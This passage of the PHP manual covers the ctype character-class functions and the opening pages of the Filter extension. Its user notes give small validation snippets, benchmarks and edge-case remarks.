  • ctype_xdigit — Check for character(s) representing a hexadecimal digit

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
ctype_alnum
Ctype


Check for alphanumeric character(s)

Ctype Functions
ctype_alpha
Ctype Functions
PHP Manual

ctype_alnum

(PHP 4 >= 4.0.4, PHP 5)

ctype_alnum — Check for alphanumeric character(s)

Description

bool ctype_alnum ( string $text )

Checks if all of the characters in the provided string, text, are alphanumeric. In the standard C locale letters are just [A-Za-z].

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is either a letter or a digit, FALSE otherwise.

Examples

Example #1 A ctype_alnum() example (using the default locale)

<?php
$strings = array('AbCd1zyZ9', 'foo!#$bar');
foreach ($strings as $testcase) {
    if (ctype_alnum($testcase)) {
        echo "The string $testcase consists of all letters or digits.\n";
    } else {
        echo "The string $testcase does not consist of all letters or digits.\n";
    }
}
?>

The above example will output:

The string AbCd1zyZ9 consists of all letters or digits.
The string foo!#$bar does not consist of all letters or digits.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_alpha() - Check for alphabetic character(s)
  • ctype_digit() - Check for numeric character(s)
  • setlocale() - Set locale information

User Contributed Notes

Rory 07-Dec-2009 04:42
Just for the record, Gentoo doesn't include this function by default. You'll have to recompile PHP with the "ctype" USE flag.
Josip Rodin 12-Aug-2009 09:13
There doesn't actually seem to be a performance loss compared to using regexes. For example:

<?php
$sUser = 'my_username01';

$time_start1 = microtime(true);
$aValid = array('-', '_');
$ret1 = ctype_alnum(str_replace($aValid, '', $sUser));
$time_end1 = microtime(true);
$time1 = $time_end1 - $time_start1;
printf("Checked it with ctype_alnum and got %d in %.10f seconds\n", print_r($ret1, true), $time1);

$time_start2 = microtime(true);
$ret2 = preg_match('/^[\w-]+$/', $sUser);
$time_end2 = microtime(true);
$time2 = $time_end2 - $time_start2;
printf("Checked it with preg_match  and got %d in %.10f seconds\n", print_r($ret2, true), $time2);

?>

This returns:

% time php ctype_alnum.php
Checked it with ctype_alnum and got 1 in 0.0000379086 seconds
Checked it with preg_match  and got 1 in 0.0001120567 seconds
php ctype_alnum.php  0,01s user 0,01s system 84% cpu 0,024 total
% time php ctype_alnum.php
Checked it with ctype_alnum and got 1 in 0.0000400543 seconds
Checked it with preg_match  and got 1 in 0.0001108646 seconds
php ctype_alnum.php  0,00s user 0,02s system 98% cpu 0,024 total
% time php ctype_alnum.php
Checked it with ctype_alnum and got 1 in 0.0000391006 seconds
Checked it with preg_match  and got 1 in 0.0001142025 seconds
php ctype_alnum.php  0,02s user 0,01s system 98% cpu 0,024 total

ctype_alnum() seems to be consistently faster. I'm guessing that the preg engine initialization induces a bit of overhead.
thinice at gmail dot com 22-Jul-2009 02:46
ctype_alnum() is a godsend for quick and easy username/data filtering when used in conjunction with str_replace().

Let's say your usernames have dash(-) and underscore(_) allowable and alphanumeric digits as well.

Instead of a regex you can trade a bit of performance for simplicity:

<?php
$sUser = 'my_username01';
$aValid = array('-', '_');

if(!ctype_alnum(str_replace($aValid, '', $sUser))) {
    echo 'Your username is not properly formatted.';
}
?>
Ctype Functions
ctype_alpha
Ctype Functions


Check for alphabetic character(s)

ctype_alnum
ctype_cntrl
Ctype Functions
PHP Manual

ctype_alpha

(PHP 4 >= 4.0.4, PHP 5)

ctype_alpha — Check for alphabetic character(s)

Description

bool ctype_alpha ( string $text )

Checks if all of the characters in the provided string, text, are alphabetic. In the standard C locale letters are just [A-Za-z] and ctype_alpha() is equivalent to (ctype_upper($text) || ctype_lower($text)) if $text is just a single character, but other languages have letters that are considered neither upper nor lower case.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is a letter from the current locale, FALSE otherwise.

Examples

Example #1 A ctype_alpha() example (using the default locale)

<?php
$strings = array('KjgWZC', 'arf12');
foreach ($strings as $testcase) {
    if (ctype_alpha($testcase)) {
        echo "The string $testcase consists of all letters.\n";
    } else {
        echo "The string $testcase does not consist of all letters.\n";
    }
}
?>

The above example will output:

The string KjgWZC consists of all letters.
The string arf12 does not consist of all letters.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_upper() - Check for uppercase character(s)
  • ctype_lower() - Check for lowercase character(s)
  • setlocale() - Set locale information

User Contributed Notes

Tyrunur 27-May-2009 02:12
It works if you set the locale correctly:

<?php

setLocale(LC_CTYPE, 'FR_fr.UTF-8');

?>

with this change you will get "yes" "yes"
jerome at yazo dot net 14-Mar-2009 08:18
worth noticing? It seems that the ctype_alpha family of functions won't handle UTF-8 string (php 5.2.6)

<?php

$texte = 'jérôme';
setLocale(LC_CTYPE, 'FR_fr');
echo 'Pure ascii ? ', (ctype_alpha($texte) ) ? 'yes' : 'no';
echo '<br />';
$texte = iconv( "UTF-8", "ISO-8859-1", $texte) ;
echo  'Letters only ? ' , (ctype_alpha($texte) ) ? 'yes' : 'no';

?>

ouputs :

Pure ascii ? no
Letters only ? yes
ctype_alnum
ctype_cntrl
Ctype Functions


Check for control character(s)

ctype_alpha
ctype_digit
Ctype Functions
PHP Manual

ctype_cntrl

(PHP 4 >= 4.0.4, PHP 5)

ctype_cntrl — Check for control character(s)

Description

bool ctype_cntrl ( string $text )

Checks if all of the characters in the provided string, text, are control characters. Control characters are e.g. line feed, tab, escape.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is a control character from the current locale, FALSE otherwise.

Examples

Example #1 A ctype_cntrl() example

<?php
$strings = array('string1' => "\n\r\t", 'string2' => 'arf12');
foreach ($strings as $name => $testcase) {
    if (ctype_cntrl($testcase)) {
        echo "The string '$name' consists of all control characters.\n";
    } else {
        echo "The string '$name' does not consist of all control characters.\n";
    }
}
?>

The above example will output:

The string 'string1' consists of all control characters.
The string 'string2' does not consist of all control characters.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_print() - Check for printable character(s)

User Contributed Notes

There are no user contributed notes for this page.
ctype_alpha
ctype_digit
Ctype Functions


Check for numeric character(s)

ctype_cntrl
ctype_graph
Ctype Functions
PHP Manual

ctype_digit

(PHP 4 >= 4.0.4, PHP 5)

ctype_digit — Check for numeric character(s)

Description

bool ctype_digit ( string $text )

Checks if all of the characters in the provided string, text, are numerical.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in the string text is a decimal digit, FALSE otherwise.

Changelog

Version | Description
5.1.0 | Before PHP 5.1.0, this function returned TRUE when text was an empty string.

Examples

Example #1 A ctype_digit() example

<?php
$strings = array('1820.20', '10002', 'wsl!12');
foreach ($strings as $testcase) {
    if (ctype_digit($testcase)) {
        echo "The string $testcase consists of all digits.\n";
    } else {
        echo "The string $testcase does not consist of all digits.\n";
    }
}
?>

The above example will output:

The string 1820.20 does not consist of all digits.
The string 10002 consists of all digits.
The string wsl!12 does not consist of all digits.

Example #2 A ctype_digit() example comparing strings with integers

<?php

$numeric_string = '42';
$integer        = 42;

ctype_digit($numeric_string);  // true
ctype_digit($integer);         // false (ASCII 42 is the * character)

is_numeric($numeric_string);   // true
is_numeric($integer);          // true
?>

Notes

Note:

This function expects a string to be useful, so for example passing in an integer may not return the expected result. However, also note that HTML forms will result in numeric strings and not integers. See also the types section of the manual.

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_alnum() - Check for alphanumeric character(s)
  • ctype_xdigit() - Check for character(s) representing a hexadecimal digit
  • is_numeric() - Finds whether a variable is a number or a numeric string
  • is_int() - Find whether the type of a variable is integer
  • is_string() - Find whether the type of a variable is string

User Contributed Notes

Skippy 25-Oct-2011 01:44
If you need to check for integers instead of just digits you can supply your own function such as this:

<?php
function ctype_int($text)
{
    return preg_match('/^-?[0-9]+$/', (string)$text) ? true : false;
}
?>
portalpress dot org at gmail dot com 22-May-2011 08:24
To my surprise after one million iterations:

It took 0.5646638 seconds to false if(('abc'*1 . '')==='abc')
It took 0.5725240 seconds to true if(('123'*1 . '')==='123')
It took 0.3741021 seconds to false if((('abc'*1) . '')==='abc')
It took 0.4357590 seconds to true if((('123'*1) . '')==='123')
It took 0.3529291 seconds to false ctype_digit('abc')
It took 0.3391420 seconds to true ctype_digit('123')

The function ctype_digit() is faster then an inline if().
But this test also shows the value of ((first*1) . second).
mdsky at web dot de 21-May-2010 12:44
is_numeric gives true by f. ex. 1e3 or 0xf5 too. So it's not the same as ctype_digit, which just gives true when only values from 0 to 9 are entered.
John Saman 05-Feb-2010 05:38
Using is_numeric function is quite faster than ctype_digit.

is_numeric took 0.237 Seconds for one million runs. while ctype_digit took 0.470 Seconds.
strrev xc tod noxeh ta ellij 14-Dec-2009 08:41
ctype_digit() will treat all passed integers below 256 as character-codes. It returns true for 48 through 57 (ASCII '0'-'9') and false for the rest.

ctype_digit(5) -> false
ctype_digit(48) -> true
ctype_digit(255) -> false
ctype_digit(256) -> true

(Note: the PHP type must be an int; if you pass strings it works as expected)
walter 09-Dec-2009 02:18
I was looking at whether this would save time on the numerous input validations I make in legions of scripts.  Typically I use a function numbers_only() which simply does a preg_replace() to remove non-digits from a string.

To test for a possible speedup, I created a new function which only performed the preg_replace() once a type_digit() check had failed.

The results for 1 million interations showed that using ctype_digit() beforehand caused approximately 1/3rd additional latency on strings that were going to be preg_replace()'d anyway (ie: strings that did not contain only digits).  It caused an over 100% speedup over that (latency inclusive) time for input strings that were pure numbers.  The speedup was around 2/3 of the original blind preg_replace().

The lesson for me is that it's only worth trying to optimise away preg_replace() using ctype_digit() or similar if you know with some certainty that the vast majority of your inputs will lean one way or the other.

Having said that, ctype_digit() seems to be cosnistently 30% faster than preg_match().  But adding the additional PHP option as a requirement for your codebase may not justify the optimisation.

Let's face it: PHP aint exactly assembler, even if it is much faster than ruby :)
Chris 02-Aug-2009 12:17
Remove all non-printable characters from a string:
<?php
$str = implode('', array_filter(str_split($str, 1), 'ctype_print'));
?>
Peter de Pijd 18-Jul-2009 03:53
Note that an empty string is also false:
ctype_digit("") // false
a_p_leeming at hotmail dot com 24-May-2009 06:17
Also note that

<?php ctype_digit("-1");   //false ?>
raul dot 3k at gmail dot com 09-Apr-2009 08:21
The ctype_digit can be used in a simple form to validate a field:
<?php
$field = $_POST["field"];
if(!ctype_digit($field)){
  echo "It's not a digit";
}
?>

Note:
Digits is 0-9
Anonymous 19-Nov-2008 01:56
Indeed, ctype_digit only functions correctly on strings. Cast your vars to string before you test them. Also, be wary and only use ctype_digit if you're sure your var contains either a string or int, as boolean true for ex will convert to int 1.

To be truly safe, you need to check the type of the var first. Here's a wrapper function that improves upon ctype_digit's broken implementation:

<?php

// replacement for ctype_digit, to properly
// handle (via return value false) nulls,
// booleans, objects, resources, etc.
function ctype_digit2 ($str) {
    return (is_string($str) || is_int($str) || is_float($str)) &&
        ctype_digit((string)$str);
}

?>

If, like me, you're not willing to take a chance on ctype_digit having other problems, use this version:

<?php

// replacement for ctype_digit, to properly
// handle (via return value false) nulls,
// booleans, objects, resources, etc.
function ctype_digit2 ($str) {
    return (is_string($str) || is_int($str) || is_float($str)) &&
        preg_match('/^\d+\z/', $str);
}

?>
minterior at gmail dot com 10-Sep-2007 07:43
I use ctype_digit() function as a part of this IMEI validation function.

<?php

/**
 * Check the IMEI of a mobile phone
 * @param $imei IMEI to validate
 */
function is_IMEI_valid($imei){
    if(!ctype_digit($imei)) return false;
    $len = strlen($imei);
    if($len != 15) return false;

    for($ii=1, $sum=0 ; $ii < $len ; $ii++){
        if($ii % 2 == 0) $prod = 2;
        else $prod = 1;
        $num = $prod * $imei[$ii-1];
        if($num > 9){
          $numstr = strval($num);
          $sum += $numstr[0] + $numstr[1];
        }else $sum += $num;
    }

    $sumlast = intval(10*(($sum/10)-floor($sum/10))); //The last digit of $sum
    $dif = (10-$sumlast);
    $diflast = intval(10*(($dif/10)-floor($dif/10))); //The last digit of $dif
    $CD = intval($imei[$len-1]); //check digit

    if($diflast == $CD) return true;

    return false;
}
?>
ctype_cntrl
ctype_graph
Ctype Functions


Check for any printable character(s) except space

ctype_digit
ctype_lower
Ctype Functions
PHP Manual

ctype_graph

(PHP 4 >= 4.0.4, PHP 5)

ctype_graph — Check for any printable character(s) except space

Description

bool ctype_graph ( string $text )

Checks if all of the characters in the provided string, text, creates visible output.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is printable and actually creates visible output (no white space), FALSE otherwise.

Examples

Example #1 A ctype_graph() example

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
    if (ctype_graph($testcase)) {
        echo "The string '$name' consists of all (visibly) printable characters.\n";
    } else {
        echo "The string '$name' does not consist of all (visibly) printable characters.\n";
    }
}
?>

The above example will output:

The string 'string1' does not consist of all (visibly) printable characters.
The string 'string2' consists of all (visibly) printable characters.
The string 'string3' consists of all (visibly) printable characters.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_alnum() - Check for alphanumeric character(s)
  • ctype_print() - Check for printable character(s)
  • ctype_punct() - Check for any printable character which is not whitespace or an alphanumeric character

User Contributed Notes

There are no user contributed notes for this page.
ctype_digit
ctype_lower
Ctype Functions


Check for lowercase character(s)

ctype_graph
ctype_print
Ctype Functions
PHP Manual

ctype_lower

(PHP 4 >= 4.0.4, PHP 5)

ctype_lower — Check for lowercase character(s)

Description

bool ctype_lower ( string $text )

Checks if all of the characters in the provided string, text, are lowercase letters.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is a lowercase letter in the current locale.

Examples

Example #1 A ctype_lower() example (using the default locale)

<?php
$strings = array('aac123', 'qiutoas', 'QASsdks');
foreach ($strings as $testcase) {
    if (ctype_lower($testcase)) {
        echo "The string $testcase consists of all lowercase letters.\n";
    } else {
        echo "The string $testcase does not consist of all lowercase letters.\n";
    }
}
?>

The above example will output:

The string aac123 does not consist of all lowercase letters.
The string qiutoas consists of all lowercase letters.
The string QASsdks does not consist of all lowercase letters.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_alpha() - Check for alphabetic character(s)
  • ctype_upper() - Check for uppercase character(s)
  • setlocale() - Set locale information

User Contributed Notes

There are no user contributed notes for this page.
ctype_graph
ctype_print
Ctype Functions


Check for printable character(s)

ctype_lower
ctype_punct
Ctype Functions
PHP Manual

ctype_print

(PHP 4 >= 4.0.4, PHP 5)

ctype_print — Check for printable character(s)

Description

bool ctype_print ( string $text )

Checks if all of the characters in the provided string, text, are printable.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text will actually create output (including blanks). Returns FALSE if text contains control characters or characters that do not have any output or control function at all.

Examples

Example #1 A ctype_print() example

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
    if (ctype_print($testcase)) {
        echo "The string '$name' consists of all printable characters.\n";
    } else {
        echo "The string '$name' does not consist of all printable characters.\n";
    }
}
?>

The above example will output:

The string 'string1' does not consist of all printable characters.
The string 'string2' consists of all printable characters.
The string 'string3' consists of all printable characters.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_cntrl() - Check for control character(s)
  • ctype_graph() - Check for any printable character(s) except space
  • ctype_punct() - Check for any printable character which is not whitespace or an alphanumeric character

User Contributed Notes

flatline at greyhat dot nl 03-Mar-2004 04:58
It seems that this function does not recognize characters such as 'à', 'ä', 'ò', 'ë' as printable.

Depends on your locale settings, in the default "C" locale they are
indeed not printable as it is 7bit ASCII based. (hartmut)
ctype_lower
ctype_punct
Ctype Functions


Check for any printable character which is not whitespace or an alphanumeric character

ctype_print
ctype_space
Ctype Functions
PHP Manual

ctype_punct

(PHP 4 >= 4.0.4, PHP 5)

ctype_punct — Check for any printable character which is not whitespace or an alphanumeric character

Description

bool ctype_punct ( string $text )

Checks if all of the characters in the provided string, text, are punctuation character.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is printable, but neither letter, digit or blank, FALSE otherwise.

Examples

Example #1 A ctype_punct() example

<?php
$strings = array('ABasdk!@!$#', '!@ # $', '*&$()');
foreach ($strings as $testcase) {
    if (ctype_punct($testcase)) {
        echo "The string $testcase consists of all punctuation.\n";
    } else {
        echo "The string $testcase does not consist of all punctuation.\n";
    }
}
?>

The above example will output:

The string ABasdk!@!$# does not consist of all punctuation.
The string !@ # $ does not consist of all punctuation.
The string *&$() consists of all punctuation.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_cntrl() - Check for control character(s)
  • ctype_graph() - Check for any printable character(s) except space

User Contributed Notes

There are no user contributed notes for this page.
ctype_print
ctype_space
Ctype Functions


Check for whitespace character(s)

ctype_punct
ctype_upper
Ctype Functions
PHP Manual

ctype_space

(PHP 4 >= 4.0.4, PHP 5)

ctype_space — Check for whitespace character(s)

Description

bool ctype_space ( string $text )

Checks if all of the characters in the provided string, text, creates whitespace.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text creates some sort of white space, FALSE otherwise. Besides the blank character this also includes tab, vertical tab, line feed, carriage return and form feed characters.

Examples

Example #1 A ctype_space() example

<?php
$strings = array('string1' => "\n\r\t", 'string2' => "\narf12", 'string3' => '\n\r\t');
foreach ($strings as $name => $testcase) {
    if (ctype_space($testcase)) {
        echo "The string '$name' consists of all whitespace characters.\n";
    } else {
        echo "The string '$name' does not consist of all whitespace characters.\n";
    }
}
?>

The above example will output:

The string 'string1' consists of all whitespace characters.
The string 'string2' does not consist of all whitespace characters.
The string 'string3' does not consist of all whitespace characters.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_cntrl() - Check for control character(s)
  • ctype_graph() - Check for any printable character(s) except space
  • ctype_punct() - Check for any printable character which is not whitespace or an alphanumeric character

User Contributed Notes

gardnerjohng at hotmail dot com 14-Sep-2009 09:00
A function I wrote last night was fairly flexible in terms of detecting whitespace, and even took into account the pesky non-breaking spaces / zero-width spaces further up the Unicode alphabet.

The benefit here was being able to isolate and identify specific Unicode indices based on their subrange.

<?php
    //    Returns TRUE if the ASCII value of $string matches a registered whitespace character.
    //    *    This includes non-breaking spaces, zero-width spaces, and any unicode values below 32.
    //    *    $string: Character to identify. If string extends past one character, the value
    //        is truncated and only the initial character is examined.
    function is_whitespace($string){
        //    Return FALSE if passed an empty string.
        if($string == "") return FALSE;

        $char    =    ord($string);

        //    Control Characters
        if($char < 33)                        return TRUE;
        if($char > 8191 && $char < 8208)    return TRUE;
        if($char > 8231 && $char < 8240)    return TRUE;

        //    Additional Characters
        switch($char){
            case 160:    // Non-Breaking Space
            case 8287:    // Medium Mathematical Space
                return TRUE;
                break;
        }
        return FALSE;
    }
?>
per dot zut at gmail dot com 22-Jul-2008 12:48
The contradiction bellow brutaly forced me to do some testing.

ctype_space(""), as well as ctype_space(NULL), returns false
ctype_space(), returns NULL, with a warning

(PHP Version 4.4.8)
abozzay at yahoo dot com 07-May-2008 02:53
PHP Version 5.2.3-1ubuntu6
ctype_space("") returns false
Anonymous 17-Oct-2007 08:46
ctype_space("") i.e. the empty string, returns true
ctype_punct
ctype_upper
Ctype Functions


Check for uppercase character(s)

ctype_space
ctype_xdigit
Ctype Functions
PHP Manual

ctype_upper

(PHP 4 >= 4.0.4, PHP 5)

ctype_upper — Check for uppercase character(s)

Description

bool ctype_upper ( string $text )

Checks if all of the characters in the provided string, text, are uppercase characters.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is an uppercase letter in the current locale.

Examples

Example #1 A ctype_upper() example (using the default locale)

<?php
$strings = array('AKLWC139', 'LMNSDO', 'akwSKWsm');
foreach ($strings as $testcase) {
    if (ctype_upper($testcase)) {
        echo "The string $testcase consists of all uppercase letters.\n";
    } else {
        echo "The string $testcase does not consist of all uppercase letters.\n";
    }
}
?>

The above example will output:

The string AKLWC139 does not consist of all uppercase letters.
The string LMNSDO consists of all uppercase letters.
The string akwSKWsm does not consist of all uppercase letters.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_alpha() - Check for alphabetic character(s)
  • ctype_lower() - Check for lowercase character(s)
  • setlocale() - Set locale information

User Contributed Notes

There are no user contributed notes for this page.
ctype_space
ctype_xdigit
Ctype Functions


Check for character(s) representing a hexadecimal digit

ctype_upper
Filter
Ctype Functions
PHP Manual

ctype_xdigit

(PHP 4 >= 4.0.4, PHP 5)

ctype_xdigit — Check for character(s) representing a hexadecimal digit

Description

bool ctype_xdigit ( string $text )

Checks if all of the characters in the provided string, text, are hexadecimal 'digits'.

Parameters

text

The tested string.

Return Values

Returns TRUE if every character in text is a hexadecimal 'digit', that is a decimal digit or a character from [A-Fa-f] , FALSE otherwise.

Examples

Example #1 A ctype_xdigit() example

<?php
$strings = array('AB10BC99', 'AR1012', 'ab12bc99');
foreach ($strings as $testcase) {
    if (ctype_xdigit($testcase)) {
        echo "The string $testcase consists of all hexadecimal digits.\n";
    } else {
        echo "The string $testcase does not consist of all hexadecimal digits.\n";
    }
}
?>

The above example will output:

The string AB10BC99 consists of all hexadecimal digits.
The string AR1012 does not consist of all hexadecimal digits.
The string ab12bc99 consists of all hexadecimal digits.

Notes

Note:

If an integer between -128 and 255 inclusive is provided, it is interpreted as the ASCII value of a single character (negative values have 256 added in order to allow characters in the Extended ASCII range). Any other integer is interpreted as a string containing the decimal digits of the integer.

See Also

  • ctype_digit() - Check for numeric character(s)

User Contributed Notes

dot dot dot dot dot alexander at gmail dot com 30-Jan-2008 10:41
This is the function in php form if your php is older than 4.0.4
<?php
if(!function_exists("ctype_xdigit")){
    function ctype_xdigit($string = ""){
        return !strlen(  trim( $string,  "1234567890abcdefABCDEF" )  );
    }/* endfunction ctype_xdigit */
}/* endif not function_exists ctype_xdigit */
?>
tom at hgmail dot com 14-Jan-2006 12:36
This function shows its usefulness on a web site where a user is asked to entered a hexidecimal color code for a color. To prevent breaking W3C standard and having them enter in "neon-green" or the wrong type of code like 355511235.

In conjunction with strlen()  you could create a function like this:

function check_valid_colorhex($colorCode) {
    // If user accidentally passed along the # sign, strip it off
    $colorCode = ltrim($colorCode, '#');

    if (
          ctype_xdigit($colorCode) &&
          (strlen($colorCode) == 6 || strlen($colorCode) == 3))
               return true;

    else return false;
}
ctype_upper
Filter
Ctype Functions


Data Filtering

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Types of filters
    • Validate filters
    • Sanitize filters
    • Other filters
    • Filter flags
  • Predefined Constants
  • Examples
    • Validation
    • Sanitization
  • Filter Functions
    • filter_has_var — Checks if variable of specified type exists
    • filter_id — Returns the filter ID belonging to a named filter
    • filter_input_array — Gets external variables and optionally filters them
    • filter_input — Gets a specific external variable by name and optionally filters it
    • filter_list — Returns a list of all supported filters
    • filter_var_array — Gets multiple variables and optionally filters them
    • filter_var — Filters a variable with a specified filter

User Contributed Notes

There are no user contributed notes for this page.
ctype_xdigit
Introduction
Variable and Type Related Extensions


Introduction

This extension filters data by either validating or sanitizing it. This is especially useful when the data source contains unknown (or foreign) data, like user supplied input. For example, this data may come from an HTML form.

There are two main types of filtering: validation and sanitization.

Validation is used to validate or check if the data meets certain qualifications. For example, passing in FILTER_VALIDATE_EMAIL will determine if the data is a valid email address, but will not change the data itself.

Sanitization will sanitize the data, so it may alter it by removing undesired characters. For example, passing in FILTER_SANITIZE_EMAIL will remove characters that are inappropriate for an email address to contain. That said, it does not validate the data.

Flags are optionally used with both validation and sanitization to tweak behaviour according to need. For example, passing in FILTER_FLAG_PATH_REQUIRED while filtering an URL will require a path (like /foo in http://example.org/foo) to be present.

User Contributed Notes

There are no user contributed notes for this page.
Filter
Installing/Configuring
Filter


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Filter


Installation

The filter extension is enabled by default as of PHP 5.2.0. Before this time an experimental PECL extension was used, however, the PECL version is no longer recommended or updated.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Filter Configuration Options
Name | Default | Changeable | Changelog
filter.default | "unsafe_raw" | PHP_INI_PERDIR | PHP_INI_ALL in filter <= 0.9.4. Available since PHP 5.2.0.
filter.default_flags | NULL | PHP_INI_PERDIR | PHP_INI_ALL in filter <= 0.9.4. Available since PHP 5.2.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

filter.default string

Filter all $_GET, $_POST, $_COOKIE, $_REQUEST and $_SERVER data by this filter. Original data can be accessed through filter_input().

Accepts the name of the filter you like to use by default. See the existing filter list for the list of the filter names.

filter.default_flags integer

Default flags. See the existing flag list for the list of the flag names.

User Contributed Notes

warbaby67 at gmail dot com 14-Dec-2010 10:04
filter.default sets the default FILTER by name.
filter.default_flags sets default FLAGS for the default filter.

The values for filter.default should be a string "name" of a valid FILTER:

"int"      FILTER_VALIDATE_INT
"boolean"  FILTER_VALIDATE_BOOLEAN

The irony of the entire list I typed being blocked by the SPAM filter is not lost on me.  Perhaps I'm not the first.
php5 29-Aug-2010 10:39
what are valid values for filter directives? only defaults? what are the flags?
Installation
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Types of filters
Installing/Configuring


Types of filters

Table of Contents

  • Validate filters
  • Sanitize filters
  • Other filters
  • Filter flags

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Validate filters
Filter


Validate filters

Listing of filters for validation
ID | Name | Options | Flags | Description
FILTER_VALIDATE_BOOLEAN | "boolean" |  | FILTER_NULL_ON_FAILURE | Returns TRUE for "1", "true", "on" and "yes". Returns FALSE otherwise. If FILTER_NULL_ON_FAILURE is set, FALSE is returned only for "0", "false", "off", "no", and "", and NULL is returned for all non-boolean values.
FILTER_VALIDATE_EMAIL | "validate_email" |  |  | Validates value as e-mail.
FILTER_VALIDATE_FLOAT | "float" | decimal | FILTER_FLAG_ALLOW_THOUSAND | Validates value as float.
FILTER_VALIDATE_INT | "int" | min_range, max_range | FILTER_FLAG_ALLOW_OCTAL, FILTER_FLAG_ALLOW_HEX | Validates value as integer, optionally from the specified range.
FILTER_VALIDATE_IP | "validate_ip" |  | FILTER_FLAG_IPV4, FILTER_FLAG_IPV6, FILTER_FLAG_NO_PRIV_RANGE, FILTER_FLAG_NO_RES_RANGE | Validates value as IP address, optionally only IPv4 or IPv6 or not from private or reserved ranges.
FILTER_VALIDATE_REGEXP | "validate_regexp" | regexp |  | Validates value against regexp, a Perl-compatible regular expression.
FILTER_VALIDATE_URL | "validate_url" |  | FILTER_FLAG_PATH_REQUIRED, FILTER_FLAG_QUERY_REQUIRED | Validates value as URL (according to » http://www.faqs.org/rfcs/rfc2396), optionally with required components. Note that the function will only find ASCII URLs to be valid; internationalized domain names (containing non-ASCII characters) will fail.

Note:

Numbers +0 and -0 are not valid integers but validate as floats.

User Contributed Notes

Levi Morrison 26-Oct-2011 12:10
It's important to note that in PHP, false==null is true.  This means when you are using the FILTER_VALIDATE_BOOLEAN, you must use '===' and '!==' to check to see if something is/isn't null.

<?php
$false = filter_var('0', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);

if ($false==null) {
    //will execute
}

if ($false===null) {
    //will not execute
}
?>
Griff 01-Sep-2011 04:28
<< FILTER_VALIDATE_EMAIL allows incomplete e-mail addresses to be validated, for examle john@gmail will validate as a proper e-mail address >>

"Plain" hostnames with no dots are valid in email addresses -
for example, "me@localhost".
php at sethsyberg dot com 07-Apr-2011 01:00
When validating floats, you must use the Identical/Not identical operators for proper validation of zeros:

This will not work as expected:
<?php
$x = 0;
if (!filter_var($x, FILTER_VALIDATE_FLOAT)) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>

This will work as expected:
<?php
$x = 0;
if (filter_var($x, FILTER_VALIDATE_FLOAT)!== false) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>
chastell at chastell dot net 15-Mar-2011 07:54
example@example is a perfectly valid email address – I use chastell@localhost and chastell@devielle (my computer’s name) email addresses all the time and they get delivered just fine.
eleljrk at gmail dot com 19-Feb-2011 07:23
For PHP 5.3.1 FILTER_VALIDATE_EMAIL does validate incomplete email addresses such as: example@example

Otherwise it's really good because FILTER_VALIDATE_EMAIL validates the standards of the local part very well.

This is a valid email address:
